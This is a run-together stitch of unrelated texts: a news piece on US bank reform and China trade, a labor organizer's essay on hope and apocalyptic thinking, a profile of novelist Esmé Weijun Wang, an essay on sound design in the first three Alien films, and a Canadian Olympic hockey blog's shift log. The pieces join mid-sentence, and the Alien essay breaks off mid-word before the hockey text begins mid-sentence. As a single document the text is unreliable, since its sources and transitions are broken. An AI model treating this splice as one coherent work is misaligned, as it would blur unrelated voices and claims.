But what about reforming the system that produced the boom and bust?
The big banks were targeted by US President Barack Obama in January as he upped the rhetoric by announcing a new levy to claw back money from institutions which had been bailed out during the financial crisis.
"My commitment is to recover every single dime the American people are owed and my determination to achieve this goal is only heightened when I see reports of massive profits and obscene bonuses at some of the very firms who owe their continued existence to the American people," he said.
Then bank shares tumbled after President Obama turned for advice to the former US central bank boss, the 83-year-old Paul Volcker.
Goldman Sachs is not interested in America, Goldman Sachs is interested in Goldman Sachs Peter Morici, University of Maryland
The President embraced Mr Volcker's view that banks holding cash deposits from ordinary Americans should be banned from so-called proprietary trading, where the banks take big bets in financial markets.
"I'm proposing a simple and common sense reform, which we're calling the Volcker rule," President Obama announced.
"Banks will no longer be allowed to own, invest or sponsor hedge funds, private equity funds or proprietary trading operations for their own profit, unrelated to serving their customers."
Some reform of the banks was eventually passed in Congress with the Dodd-Frank Wall Street Reform Act, although the Volcker rule was watered down.
So did the reforms go far enough?
Peter Morici at the University of Maryland thinks not and says that "until we separate the banks from the investment banks, so that banking is again banking, as opposed to trading, the banks are going to be much more interested in trading than banking, simply because they can make a lot more money that way.
"Goldman Sachs is not interested in America, Goldman Sachs is interested in Goldman Sachs."
If you are looking for aristocrats that should be beheaded, they are probably on Wall Street Peter Morici, University of Maryland
But Goldman Sachs has clever people and are doing very clever things and at the end of the year, they make a profit. So what is wrong with that?
"Well, they did clever enough things to thrust the entire global economy into the great abyss," says Mr Morici.
"Bank of America and Morgan Stanley made profits every day on trading in the last quarter - they didn't have a negative day," he says.
"Unless you think traders are perfect there is something wrong with the information that they are getting," he maintains.
However, when somebody gains, somebody else is losing.
"Americans are losing. The ordinary stock holder is losing. They are not creating wealth on Wall Street, they are trading on it," Mr Morici asserts.
"If you are looking for aristocrats that should be beheaded, they are probably on Wall Street, though I wouldn't do it using a guillotine, I'd just take their toys away."
Chinese conundrum
America has lost many manufacturing jobs and the US unemployment rate is still nearly 10%.
If you look at some of the big companies that have grown so strongly in the US in the past 20 years, a lot of it has been because of the ability of the US to import from China Jim O,Neill, Goldman Sachs
Mr Morici is pretty angry about that too. "Certainly, there are things that China should be exporting to the US because of its cheap labour," he says.
He believes, however, that it would not be cost effective to make certain things in China, but for the fact that its currency is 40% undervalued.
"The idea behind free trade is that it be in two directions so that we each get to specialise in what we do best and we grow from there," he says.
"But China is exporting products where it has a comparative advantage and protecting those where it doesn't."
He points out that China has enough surplus labour to replace all the manufacturing workers in Europe, the US, Australia, New Zealand and Mexico.
"Do we really want to live in a world where everything is made in China and the rest of us just borrow money from the Chinese?" he asks.
Jim O'Neill from Goldman Sachs has an alternative perspective.
He is not responsible for the company's trading tactics - his job is to forecast accurately and he has a great record of correctly predicting the rise of China and the rebound of the euro after earlier troubles.
Mr O'Neill says the US trade deficit with China is now falling sharply.
"The US current account deficit year-to-date is running about half what it was before the crisis and the Chinese trade surplus is not much more than 3% of GDP."
He believes, however, that due to the rather emotional atmosphere in Washington, such data seems to be completely ignored by Congress.
"It is slightly scary because they are talking about things which are a little bit out of date," he says.
Image caption Job losses in the US have included white collar workers as well manufacturing positions
"I've come across people that quite bizarrely - in my judgement - blame China for the loss of every manufacturing job in the United States in the past 20 years and that is ridiculous," he says.
"If you look at some of the big companies that have grown so strongly in the US in the past 20 years, a lot of it has been because of the ability of the US to import from China - WalMart being a particularly good example," he explains.
"The unemployment situation linked to the US economic cycle, and the weakness of the past two years, is very severe and of course it is understandable that not only US politicians, but also workers, blame other people - and China seems to be a convenient scapegoat," he says.
There is also criticism that job losses have gone too far in America because the Chinese currency is not at a fair "market clearing" value, but Mr O'Neil has no sympathy with that viewpont.
"The Chinese currency has risen by over 20% the past five years. Chinese import growth is rising at over 40% - in the year to date, Chinese import growth has been close to $400bn.
You also have to acknowledge that there was blind greed on behalf of builders and landowners round the country John McCarten, Local councillor, Leitrim
Many people would argue that such figures are mainly due to the import of raw materials.
"No it is not," says Mr O'Neil.
"Look at countries that are really good at exporting, like Germany.
Some of Germany's top companies are employing people on overtime purely because of exports to China."
He points out how many branded goods companies around the world, Louis Vuitton being a particularly good example, are literally being transformed by the strength of Chinese demand and Chinese imports.
Eternal hope
The spotlight was diverted from the big banks for a while when an explosion at a BP oil rig in the Gulf of Mexico led to 11 deaths and created the biggest offshore oil spill in US history.
BP set aside $40bn to cover the cost.
Google had its own issues with Beijing - this time over censorship. It moved its China web search to its Hong Kong site in March.
And the hopes of the US seed firm Monsanto to introduce genetically modified crops into India were dashed, when the Indian government blocked the plan after protests from environmental groups and some scientists.
The US stock market overall rose around 10% in the past year, although historically American share prices have made no overall gains at all in the past 11 years.
By contrast, gold has soared over that period, leaping from $300 an ounce to $1,400, with this year's rise for gold being 25%.
There is always money to be made somewhere in the global economy.Zombie protesters at Occupy Wall Street, October 3, 2011. (Photo: WarmSleepy)The world is definitely having “a terrible, horrible, no good, very bad day.”
Add it up: super storms, droughts, war, massive unemployment, global government gridlock and resurgent nativism, along with myriad other horrors and catastrophes.
Surviving the coming end of the world, Armageddon, and/or Zombie Apocalypse is where many conversations go these days. Easier to wrap our heads around how to kill an apocalyptical zombie (it is critical to destroy the brain) rather than how to defeat a real-world, hydra-headed corporation that’s considered a person; or break up a vampire squid bank that’s too big to fail or jail.
I’m an optimist. I live and thrive on hope and possibility. And I increasingly feel like the odd person out. Union meetings, and other gatherings of progressives committed to economic equality and social justice often take on the tenor of a death cult. First we recite the mantra of our lost clout, power, membership – insert your favorite example of decline. Then, in a fit of fantasy, someone invariably weds nostalgia and bad history, giving birth to the notion that our best hope for the future is in trying to recapture an idealized version of a past that never existed.
Recently, I was with friends who were talking about where and how we would live after the apocalypse – a world similar to the one described in Octavia Butler’s The Parable of the Sower. In addition to a defensible property, up on a hill (ideally with a freshwater source), my friends then listed what skill they each would bring to our band of post-apocalypse Zombie slayers. Turns out, mine is a fairly talented group of friends. We had a carpenter, someone who could make fishing nets out of old clothes, a gun enthusiast and a couple of gardeners who could grow vegetables – the beginnings of a progressive survivalist collective.
I touted my skills, but my friends were unimpressed that I could write political manifestos and polemics. My pretty good record of organizing in the Justice for Janitors and other union campaigns didn’t seem that useful either. It soon became clear there was not a role for me in the post-apocalypse world, at least not based on my current skill set.
I realized I faced a choice. I could learn how to hunt, shoot, farm and build anti-zombie fortifications based on an analysis that it was best to prepare for the end of the world. Or I could double down on the crazy, improbable notion that the very things threatening the world create the opportunity to save it. This may be the time of greatest opportunity in recent history to win transformational change precisely because the economic, environmental and political systems as currently constructed are unsustainable.
So here is the paradox: It is not an exaggeration to say “the end is near” – climate change and global warming truly threaten the existence of humanity. Growing corporate consolidation, increasing inequality and the spiraling decline of unions threaten not just our standard of living, but democracy itself. And the radical right really does want to disenfranchise people of color, control women’s bodies and deport everyone who doesn’t agree. But predicting, repeating, telling, yelling and proving through charts, reports and statistics that the “end is near” doesn’t motivate people to act. It does the opposite – it overwhelms, numbs and shuts people down.
If we want people to organize and fight back, not shut down and curl up, what do we do? What keeps a hopeful person from going nuts in a crazy world? How do we seize opportunity, and develop tactics that give heft to our hope? How are we not only optimistic but also strategic? And how do we move off of losing defensive fights and into winning offensive ones?
The Missing Link ideology (without the isms)?
I think part of the answer may lie in developing an ideology (nondogmatic, not rigid) that embraces complicated webs of sometimes contradictory ideas, emotions and motivations that make us human – combined with an analysis of what is going on in the economy and world. Some people are moved to incredible heights of self-sacrifice guided by selflessness; some by long-held moral values; and others by self-interest, rage at injustice and anger at those who profit from others’ suffering. I am increasingly convinced that the antidote to “end of the worldism” and the death cult that grips all too many of us is developing an ideology (or call it something else if it makes you more comfortable) grounded in faith and hope, economic analysis, class struggle and strategy. What we need is:
A vision of the Promised Land
Movements that have captured people’s imagination and changed the world have not been built on the idea that “if we all join together we might win modest incremental gains.” They have talked about the possibility, the dream and the hope that together we can reach for and win a far better world – a promised land, a world of extraordinary opportunity, equality and justice. In the Justice for Janitors Campaign, tens of thousands of undocumented workers struck – risking jail and deportation – for higher wages, for the rights of immigrant workers and the hope of a world where their children had real opportunity. We need to throw off our fear of being accused of being utopians and embrace a vision of a Promised Land that inspires people to join with us.
Analysis of economic concentration and the superrich
The superrich are tireless public advocates for their brand of capitalism; we need to lose our fear of talking about and critiquing how their capitalism operates and impacts all of us. The facts are not in dispute – a tiny group of people and corporations increasingly dominate the economic and political life of my country and the world. Their growing wealth and power comes at the expense of the rest of us. Through unending schemes and manipulations, they have methodically reorganized the economy in their favor, enriching themselves at our expense. The world cannot afford and sustain the domination of the superrich, nor can real democracy survive their stranglehold on the economic and political lifeblood of the world.
Strategy and tactics focused on who really has power
The growing concentration and interconnection of corporations at the top offers us an incredible opportunity to connect seemingly disconnected campaigns. We need to look up the “money tree” in each of our campaigns to figure out how to engage the corporate power structure at the highest level. By connecting more of our fights to the drivers of the economy, we magnify their impact, increasing the pressure on those who really have power. Wells Fargo Bank is just one example – a central villain in the foreclosure crisis and housing discrimination. The company has invested in private prisons where immigrants are detained; is tied to payday lending; has CEO John Stumpf who is on the board of Chevron; and to top it all off, is a major profiteer in the trillion-dollar student debt debacle.
Faith – How we keep going
This is a funny word. For some it’s religious, for some spiritual, and for others it comes from a deeply held belief that the “arc of history bends toward justice.” Wherever we find it, faith can carry us through the moments where we are overwhelmed and under siege. It is essential, individually and collectively, that faith, not cynicism and defeatism, guide us.
What’s love got to do with it?
This is the part that makes me a little nervous. In my life as an organizer, I’ve warred with giant multinational corporations and seen workers fired, their lives destroyed by arrogant billionaires hiding behind the so-called free market to justify paying workers subminimum wage. I am not known as a love-thy-enemy kind of guy. I think anger and rage over injustice is a critical part of any movement. When we lose our capacity to be outraged, to be angry, it is easy to lose our urgency and moral compass.
Despite being powerful fuel, anger alone is insufficient to sustain us individually and collectively. Anger by itself leads to burnout and a movement that often appears unattractive and impenetrable to most people. Yes, you do need anger, rage. But most people are not inspired to sign up for a life of unending struggle and warfare.
What people do sign up for is love. When you fall head over heels in love with someone – essentially, a leap of faith – you become willing to risk it all for them. You’re willing to make sacrifices for their happiness. Their future becomes as important to you as your own.
If we can marry that kind of intensity of commitment with solidarity – bonding love for those increasingly left out and behind with dedication to a better world for all of us – we may have the missing link in developing an ideology that simultaneously contains class struggle and a path to the Promised Land. If we can unite love with solidarity, we can back them up with an analysis of how the economy works and who has power. If we do those things, we will be able to see the barriers blocking our path to the Promised Land. And if we add in a concrete set of strategies and tactics, we will start to develop the tools to move those obstacles out of our way.
The choice is ours – prepare for the apocalypse or head for the Promised Land.Upon the release of her debut novel, Esmé Weijun Wang shares the insights she gained through her own struggles with mental illness and chronic disease
It took Esmé Weijun Wang five years to write her creepy multi-perspective novel The Border of Paradise, two of which were “eight-hour-stretches-at-a-time affairs” when the Midwestern-born, San Francisco-bred writer—a first-generation Taiwanese-American—was in graduate school earning her MFA. Her process was arduous and took discipline and drive, but Wang admits that being in good health was vital to the work’s completion.
Since 2012, she has been living with late-stage Lyme disease, a tick-borne bacterial infection that can affect both the heart and nervous system while inducing arthritis and extreme fatigue.
“Covering up what’s really going on with me is exhausting, not to mention boring,” Wang told Women in the World. “I’m not good at lying.”
Among the dozens of women who flesh out ideas or seek advice about money owed in the online writing group of which I am a member, she is the most vocal. She actively greets other members with affection and a good morning gif (today it’s “I Love New York” star Tiffany Pollard, thank you very much), sharing an article worth reading. On some days she laments her lack of mentorship. When the writing doesn’t come easily, Wang will ask for an accountability partner to help her tackle the day’s work: a post for her website (where she assists creatives), finishing up a non-fiction essay, as well as press for The Border of Paradise, which debuted last week on Unnamed Press to enthusiastic reviews.
The open nature with which she discusses her process—and its connection to her body and mind—is the result of a bad poker face. It is done to help others as much as it is self-imposed catharsis. The development of Lyme has been a “disabling, terrifying experience” but it is not the only challenge she faced while writing The Border of Paradise.
Like the book’s central character, Wang, 32, also lives with mental illness.
She cannot remember a time when it did not impact her life and work. Effects started showing at a young age: depression and anxiety by puberty, bipolar disorder just after graduating from high school, a diagnosis that shifted to bipolar-type schizoaffective disorder in her late 20s and plenty of hospitalizations throughout. After completing Paradise she began penning essays that detail living with a psychotic disorder and the mixed reactions she has received when explaining her diagnosis. “I’ve had people say amazing things to me after I’ve come out to them,” Wang said, offering, “Wow, you don’t have spasms and yell and stuff” as an example.
“Schizophrenia tends to plug into our biggest anxieties and fears about what the mind can do; it’s the psychiatric bogeyman,” she explained.
The Border of Paradise is Wang’s debut work. Through controlled prose she tells the doomy, layered story of a family’s inheritance of madness across Taiwan, Brooklyn and Northern California. The plot’s motion spins around the self-inflicted death of main character David Nowak, who suffers from an unnamed mental illness. In Taiwan, David meets Jia-Hui, a sharp-witted madame, who he weds and renames Daisy (a move in line with his underlying current of misogyny and what NPR suitably described as “soft” racism). He isolates the pair in the United States to raise their son, William, and the gutsy Gillian, his daughter from a brief affair with a childhood sweetheart Marianne, whose perspective is also pivotal to the tale, as is as that of her brother, Marty.
Secrets abound in the world David leaves behind, where sinister vibes emit from parent-prescribed incest, California forest fires, and two hyper-intelligent, isolated kids who’ve both mastered the piano. The Border of Paradise is shaped by darkness and the kind of delicious story that makes for missed train stops and bedtimes, keeping a reader up late for just one more page of dynamic character-bouncing perspective (an idea which came to Wang in dreams). It is the author’s stunning introduction to the literary world.
Rendering realistic mental illness in The Border of Paradise meant Wang had to avoid a common approach to diagnoses in fiction—an approach that sees characters’ behavior revolve around DSM-described symptoms, rather than the “gradations” that occur in real life. Because the psyche is a murky place, David’s mental condition purposefully goes unnamed.
“People rarely fit neatly into those DSM boxes,” she said.
Her own various diagnoses and years spent conducting clinical interviews as a research scientist shaped scenes within the book, like one where David comes upon a deer while walking in the woods, but the deer does not exist. It is an important moment – the reader is in David’s mind as it shifts from clarity into hallucination, providing a peak into the full life of the character and moments that happen outside of what the author offers directly. “I’m able to write about such things because I had had these experiences,” Wang disclosed. “I know how complex those experiences are.”
With Lyme disease and mental illness—and “as a neurotic person”—creative productivity can prove complicated. Wang says psychotropic medications saved her life. She feels lucky that they have not compromised her ability to write, but has spoken with enough people to recognize the dulling effect some medicines can have on inventiveness.
“Of the artists and writers I’ve known, too many struggle with emotional difficulties without tools to stabilize their creative lives,” Wang explained.
To help manage and offer guidance, she started an online business focused on building legacy and resilience for creatives, offering e-courses in guided meditation and restorative journaling for writers — telling stories about her own stories as an emerging writer living with challenges and limitations. “I want the people I can make the most difference for to know that they don’t have to be a tortured genius to let their genius thrive,” she said. Wang’s Encouragement Notes series – ten free encouraging emails – gives one taste of her attitude and are even more impactful knowing they were developed during a time when she was deep in the throes of struggle with her own health issues.
Mental illness can create a focus on suffering that leaves little room for much else. Wang’s resilience in the face of such adversity—and her ability to examine the psyche so thoughtfully across generations in The Border of Paradise—makes her an impressive force. Wang finds light in her daily quest to help others create, despite the limitations they may face.
It’s like her mother often says: “there’s no problem without a resolution.”
“She actually says this in Mandarin, so my translation has lost some of her nuance. What I like about this is its potentially fatalistic interpretation. I like that she doesn’t say that everything will end well, or everything will be okay,” Wang said.
“Everything does, however have some kind of resolution. That calms me down when I’m frantic over one thing or another.”
Follow Alli Maloney on Twitter @allimaloney.This piece quickly exploded into an opinionated tome, drawing on experience as a sound designer and Alien obsessive. I have focused on the first three films in the franchise purely because I haven’t yet had time to research the back half of the canon. Expect a second chapter on April 26, 2018.
Prologue: What is Sound Design?
For every sound in a film, someone found a way to record or create it and edit it into the mix. It may have been picked up by a microphone on set. It may have been reproduced in the studio using foley techniques. It may have been synthesized using any number of tools including hardware and software synthesizers and samplers, effects processors, or even tape manipulation (Hitchcock’s The Birds is an essential example of the latter).
For the purposes of this essay, I focus on sounds that, to my ear, represent a creative deviation from literal sound. Let me give you a famous example. In Martin Scorsese’s Raging Bull, the gorgeous slow-motion fight sequences include all of the face-pounding brutality you would expect, accompanied by low howls of pain and fury. However, sound designer Frank Warner and editor Thelma Schoonmaker also chose to illustrate Jake Lamotta’s (Robert De Niro) summoning of anger and energy with recordings of elephants bellowing, horses shuddering, and more animals re-pitched to hypnotic effect:
This is a radical challenge to what we expect of a sporting sequence, bluntly throwing us into pure metaphor. Music already serves this purpose, and we are perfectly accustomed to it; sound design choices rarely challenge us so frankly, but they can dramatically alter our perception of and response to a scene.
History and Context
Ridley Scott’s Alien was produced and released in 1979. To modern audiences at the time, computers were still great big mainframes in television shows and films, with reels buzzing and computer scientists in white coats retrieving magnificent amounts of data. Computers themselves were fairly alien to the general population, even as ever smaller personal computers were coming together in California garages and models like the Apple II and the Commodore PET 2001 were finding their ways into wealthier homes.
Computers were of course not yet dominant production tools in Hollywood, beyond some limited usage in motion control and generation of elementary dramatic graphics. The Avid and Digidesign editing systems were years away, and sound effects – and audiences’ expectations of them – were analog. When we say “analog,” we are explicitly distinguishing from “digital,” an ultimately arbitrary separation but that nonetheless carries a lot of baggage for audio producers. Analog sound, produced with electronics not yet dealing with 1s and 0s, is by definition imprecise. Pitches and timbres are difficult to manage with a pre-digital synthesizer. Foley is captured on tape and manipulated with practical means such as actual changes in recording environments (from a small room to a large room), re-pitching, and application of disorderly effects processors. Noisy radio and re-recording effects had become mainstream thanks to the heroic innovation of Walter Murch (Lucas’s THX-1138 and Coppola’s The Conversation) and Ben Burtt (Star Wars, of course).
James Cameron’s Aliens, released in 1986, landed during the tail-end of the first home computing boom. Video game consoles had begun to train our ears to associate clean, precise, staccato sound with digital technology. Automation had begun to overtake manufacturing and the height of physical technology was sonically represented by noisy hydraulics.
David Fincher’s Alien³, that unloved orphan that young fans are finally welcoming into the canon of misunderstood near-greats, enjoyed the first wave of digital sound editing with the broad proliferation of Digidesign’s Sound Designer and Pro Tools systems, significantly widening sonic possibilities and resulting in an almost infinitely more precise sound stage. Every single element on screen could now be precisely mirrored in sonic space; for any character’s voice, you hear every inch to the left, to the back, now behind a wall, etc. Producers were understandably enthused by the sudden availability of unprecedented realism and, as in Alien³, exaggerated the effect.
All this is to say: Any narrative or metaphorical interpretation of sound in these films must consider historical context. Were Alien produced today, perhaps its sound palette would be much more orderly, would feel far less organic than it does. Were Aliens produced today, perhaps hydraulics and screeching tires would instead be compressed air and buzzing drone propellors. When I enthuse about the techniques and metaphoric power of them, I do so with the understanding that these choices were frequently made in deference to the available technology and inevitable assumptions about its place in our future. And, of course, sound design is influenced by trends just like anything else. There are certain sounds that are popularized and every designer wants to produce their own take on them. Hipsters come in all shapes, across all eras.
Technology is Biology
Alien is about the search for biologic precision, a quest to overcome the boundaries of conventional technology by introducing a perfect organism into our industry and even bloodline. The film’s visual and audio design achieve a rare unity in support of this objective; in my opinion a far more advanced design achievement than the subsequent films.
The alien itself and the derelict wreck it comes from are often referred to as bio-mechanical thanks to HR Giger’s iconic psychosexual nightmare designs. However, our doomed crew’s sprawling mess of a space refinery, the USCSS Nostromo, is itself portrayed as a living environment. Its sounds are imprecise, lacking in constancy and timbral discipline, and bluntly suggestive of organic processes. Human technology in this film warbles and burps like a great fat baby. It breathes. Its bones creak and gurgle steam and water. Visually, the ship’s lines are rounded. Its rooms are padded in oblongs. Its exterior is a bloaty pregnant thing. Of course it is manufactured, but it is a disorderly machine.
When the Nostromo wakes from its journey to answer a mysterious call, its systems clunk and whine, a disorganized mess of errata.
There is little precision to this.
The ship’s mainframe, if that’s the right word, interfaces with its users via a weirdly personified, steadily breathing, fleshy-colored womb quite rightly called MU/TH/UR (aka “mother,” of course).
This scene alone is far more deserving of the bio-mechanical label than many aspects of the alien or the derelict. This continues. Brett and Parker, the grumbling engineers, spend their working hours consumed in the ship’s guts, loud gassy intestinal tubes characterized by wheezing pipes.
Human-made industrial products in this film are far messier than purely organic entities: the whole point is to surpass our capacity for precision by locating and examining a creature that is, in the words of the film’s wicked corporate stooge and weird-noodle-filled robot, Ash, “a perfect organism.”
The franchise’s robots perhaps best illustrate our failures as manufacturers. When challenged by Ripley Ash glitches and attempts to smother her with a magazine (what), inspiring Parker to knock his head off in a shower of white blood (which is not symbolic in the slightest). Having severed the tip of this ejaculating thing, the survivors roll his head up and interrogate it. His vocal processing is as glitchy as his personality, an unkempt phase shifter or flange effect, a trill typically reserved for wayward flutes:
An aside, I can’t help myself: This choice reverberates through film history. My favorite resurrection of it is in Hellraiser 2: Hellbound: Upon his christening (satanening?) as a cenobite, the Doctor, Channard, speaks and wails in a wildly flanged voice straight out of a Heart guitar solo:
Alien³ repeats the effect on Bishop’s gutted torso, as he exhales through his final words: “I’d rather be nothing.” His dying sigh is another call-back to the opaquely organic sound design attached to the first film’s technology. Consider it: This robot is programmed to terminate with an emulation of a human sound of relief. What macabre programmer would take the job of designing an android’s sample banks to such extremes? Why? Because it is critical, in this universe, that technology mirror biology. Separating them is an arbitrary, reflexive human judgment. We do the same when we talk about “natural medicine” as opposed to pharmaceutical chemistry. Why are they distinct? Why is something manufactured by humans somehow exempt from organic existence? It is a ridiculous, artificial distinction.
As for technology in Aliens, it’s far less interesting to me from a sound design perspective. Its execution is masterful, but it is primarily about the fetishistic portrayal, with the illusion of accuracy, of penile weaponry and hydraulics. We hear many hallmarks of 1980s science fiction action; wildly exaggerated machine gun fire, the satisfied hum of forklifts and outsized vehicles, screeching tires.
Screaming in Space
Let’s talk about space. Not outer space. let’s talk about how sound designers contribute to tone and emotional response with the portrayal of environments. An environment is what we see and feel, such as a meadow where we see a stream and grass, but it is also what we hear, in this example the steady rush of the stream, and maybe grasses clashing gently in a breeze. A sound designer creates aural spaces that serve multiple purposes: match what we see on screen, and diverge from literal representation to create specific emotional responses.
The Alien films alternate between tight, airless spaces, and wide open spaces. Much of Alien is drenched in reverberation and echoes. The Nostromo is what we call “wet,” consistently creating the impression of an endless catacomb of chambers and rooms where a creature can hide (the dining room is an important exception, as its tight room tone emphasizes the abrasive nightmare of the chest-burster’s introduction). Consider the sequence when Harry Dean Stanton’s Brett tries to find Jones the cat who has confused the crew’s motion trackers and is running wild in the bowels of the ship. He ventures into a dripping wet water storage chamber, and his calls – and Jones’ distant response – are like an inquisition into the mouth of hell: The sound is exaggerated for effect, and is all the more terrifying as a result. The long tail on the sound implies an unknowable distance, a vast empty space in which anything might wait to strike. (And, in this case, does. Poor Brett.) Aliens generally favors tight sonic spaces. It is fundamentally the filmic equivalent of (and central inspiration for) a claust |
Shots) advantage of 64-31. There were 25 faceoffs in the US zone compared to 16 in the Canadian end of the ice. Territorially, the Canadians had the advantage and it wasn't just visible in the numbers. My own damn eyes saw it too. But they couldn't cash and the fumbles in the defensive end (Pronger) along with some offensive zone penalties did them in. I still like this team going forward. They're surely one of the best teams in the tournament - better than the Americans who just claimed victory I dare say - and hopefully the wins will follow. They had better, because we're running out of time.
Now really big picture. The path to the gold medal is now a difficult one. The Canadians have Patrick Thoresen and Norway to take care of on Tuesday (Edit: It's actually Jochen Hecht and Germany) followed by a game against the Russians on Wednesday (should they beat the Norwegians for a second time). If they defeat Russia, they have the winner of the United States-Slovakia game (unless this Sweden-Finland game goes to OT). And then it's the final against Scandinavia or the Czechs. A tough road to hoe. It's single elimination now, no room for unexecution or plusunluck. As a famous Duck once said, "Let's get dangerous."
More detail-oriented game discussion after the jump.
Gabriel Desjardins is the man. He directed me to those BBC charts (although they're on the CTV Olympics website now too) and he's keeping track of all kinds of stuff for every game in these Olympics. Check him out. Nonetheless, I've continued keeping the play-by-play for the Canadian side and it's listed below. I'll give some opinion on it after the data. The players will be marked by their jersey numbers for ease of writing but I'll provide a legend first:
2 - Duncan Keith
6 - Shea Weber
7 - Brent Seabrook
8 - Drew Doughty
10 - Brenden Morrow
11 - Patrick Marleau
12 - Jarome Iginla
15 - Dany Heatley
16 - Jonathan Toews
18 - Mike Richards
19 - Joe Thornton
20 - Chris Pronger
21 - Eric Staal
22 - Dan Boyle
24 - Corey Perry
27 - Scott Niedermayer
37 - Patrice Bergeron
51 - Ryan Getzlaf
61 - Rick Nash
87 - Sidney Crosby
First Period
61-87-18 and 27-06 NZ FO
61-87-37 and 27-06 DZ FO ends in US GOAL
21-51-24 and 02-08 NZ FO
21-51-24 and 02-08 DZ FO (Icing)
10-16-12 and 20-22 OZ FO
15-19-11 and 07-08 DZ FO
15-19-11 and 27-06
61-87-18 and 27-06
21-51-24 and 02-08 ends in Cdn. penalty in OZ
10-37 and 06-27 DZ FO
16-18 and 06-27 NZ FO
10-37 and 02-08
16-18 and 02-08 NZ FO
61-11 and 20-22
10-37 and 20-22 DZ FO
16-11 and 20-22
10-37 and 06-27 penalty ends
10-37-51 and 06-27 ends in US penalty in (their) DZ
61-87-12 and 02-08 OZ FO
15-19-11 and 06-22
15-19-11 and 06-22 OZ FO
21-51-24 and 20-22 penalty ends
21-51-24 and 20-22
21-51-24 and 20-07
21-16-24 and 02-07 ends in Cdn. GOAL
61-87-18 and 02-08 NZ FO ends in US GOAL
21-51-24 and 27-06 NZ FO
15-19-11 and 02-07 OZ FO
61-87-18 and 06-08
10-16-12 and 20-22
10-16-12 and 20-22 DZ FO (Icing)
21-51-24 and 20-08
15-19-11 and 27-06
61-18-87 and 20-07 OZ FO with 18 taking FO
61-18-87 and 20-07 OZ FO with 18 taking FO
10-16-12 and 02-20
10-16-12 and 02-08 OZ FO
21-51-24 and 27-06
11-51-24 and 27-22
61-87-18 and 02-07
15-19-11 and 27-06
61-87-18 and 20-22 OZ FO (Icing)
10-16-12 and 20-22 NZ FO
19-16-12 and 02-08 DZ FO with 19 to bench on clear
10-16-12 and 02-08
21-51-24 and 27-06
15-19-51 and 27-06 OZ FO (Icing)
Second Period
10-16-12 and 27-06 NZ FO
21-51-24 and 02-08 DZ FO
61-87-18 and 20-22
15-19-11 and 07-08
15-19-11 and 07-08 NZ FO
15-16-11 and 27-06
15-16-10 and 27-06 ends in Cdn. GOAL
61-87-37 and 02-08 NZ FO
21-51-24 and 20-07
15-19-11 and 27-22 NZ FO
61-87-18 and 27-22
61-87-18 and 02-08 NZ FO
10-16-12 and 27-06
21-51-24 and 20-22
15-19-11 and 02-07 OZ FO
61-87-18 and 20-22
15-19-11 and 02-08 OZ FO (Icing)
21-51-24 and 22-20 NZ FO
21-51-24 and 02-08
10-51-12 and 02-08
10-37-16 and 27-06 DZ FO with 37 taking FO
10-37-16 and 27-06 DZ FO (Icing) with 37 taking FO, to bench on clear
10-16-12 and 27-06
61-87-18 and 20-07 OZ FO
61-87-18 and 22-08
15-19-11 and 22-08 NZ FO
61-87-18 and 27-20 OZ FO
37-16-12 and 02-06 DZ FO with 16 taking FO
21-51-24 and 22-20
61-87-18 and 22-20 DZ FO ends in US GOAL
10-16-12 and 02-08 NZ FO
15-19-11 and 27-06
21-51-24 and 20-07 DZ FO ends in Cdn. penalty in OZ
10-37 and 02-08 DZ FO
10-16 and 27-06
10-18 and 27-06
Third Period
10-16 and 27-06 NZ FO
18-16 and 27-06
18-37 and 02-08 penalty ends
21-37-18 and 02-08
61-87-12 and 02-08 ends in Cdn. penalty in OZ
10-37 and 27-06 DZ FO
18-16 and 02-08
10-37 and 02-08 NZ FO
18-16 and 27-20
11-19 and 27-20 penalty ends
87-19-11 and 27-20
15-19-11 and 27-20
15-19-11 and 27-06 OZ FO
15-51-21 and 27-06
21-51-24 and 27-06 ends in Cdn. penalty in DZ but 27 leaves for 2 during delay
18-16 and 02-08 DZ FO
10-37 and 06-20 ends in US GOAL
61-87-12 and 22-08 NZ FO
15-19-11 and 22-08
15-19-11 and 02-20 NZ FO
21-51-24 and 02-20
21-51-24 and 02-27
61-87-12 and 22-08 ends in US penalty in (their) DZ
15-19-11 and 22-06 OZ FO
15-19-11 and 22-06 OZ FO
87-51-24 and 20-08 penalty ends
87-51-24 and 20-08
61-19-12 and 02-06 OZ FO
21-16-18 and 27-08
15-19-11 and 02-22
15-19-11 and 02-22 OZ FO ends in US penalty in (their) OZ
15-19-11 and 06-08 OZ FO
61-87-12 and 02-22 OZ FO
61-87-12 and 02-22 OZ FO
61-87-12 and 02-22 OZ FO ends in Cdn. GOAL
21-51-24 and 27-08 NZ FO
61-87-12 and 02-08 OZ FO
15-19-11 and 27-06 NZ FO with 24 extra ends in US EN GOAL
15-19-11 and 02-08 NZ FO with 51 extra
61-87-12 and 02-08 OZ FO with 51 extra
End of Game
The defence again saw quite a bit of flux with regard to the pairings throughout. Brent Seabrook drew a lot of praise from the commentators in the second intermission but didn't get a single shift in the third period. Duncan Keith ended up instead mostly with Drew Doughty and the two looked pretty good together. Dan Boyle saw a lot of ice with a wide variety of partners, though mostly Chris Pronger which left Niedermayer and Shea Weber to team up for most of their shifts. When the game was on the line at the end the team turned to Weber, Doughty, Boyle, Niedermayer and Keith - Pronger's last shift came with about seven minutes to go.
Up front, Jarome Iginla started on a line with Brendan Morrow and Jonathan Toews but was moved up to play right wing with Crosby and Nash for the third period, taking the place of Mike Richards who had only one EV shift in the third period on a makeshift unit alongside Staal and Toews which also happened to be Toews' only shift of the period. And that was one more than Brendan Morrow who didn't have a single EV shift in the third, his place taken by the aforementioned Staal. Patrice Bergeron's role continued to shrink with only four EV shifts in the entire game, all of them for an extra center on an otherwise established line. And even that defensive role seemed to be slipping away when Joe Thornton was once put out as the extra-center-straight-to-bench man for a DZ draw in the first.
The other two lines rolled pretty much as usual, the only hiccup coming when Crosby took Staal's place for a shift with Getzlaf and Perry on the PP. Perry was also chosen as the extra attacker when the Canadians pulled the goalie, which I found a bit odd at first and infuriating once Ryan Kesler ate Perry's lunch to put home the empty-net marker. Ryan Smyth wouldn't have lollygagged back like that. I... can't... help... myself...
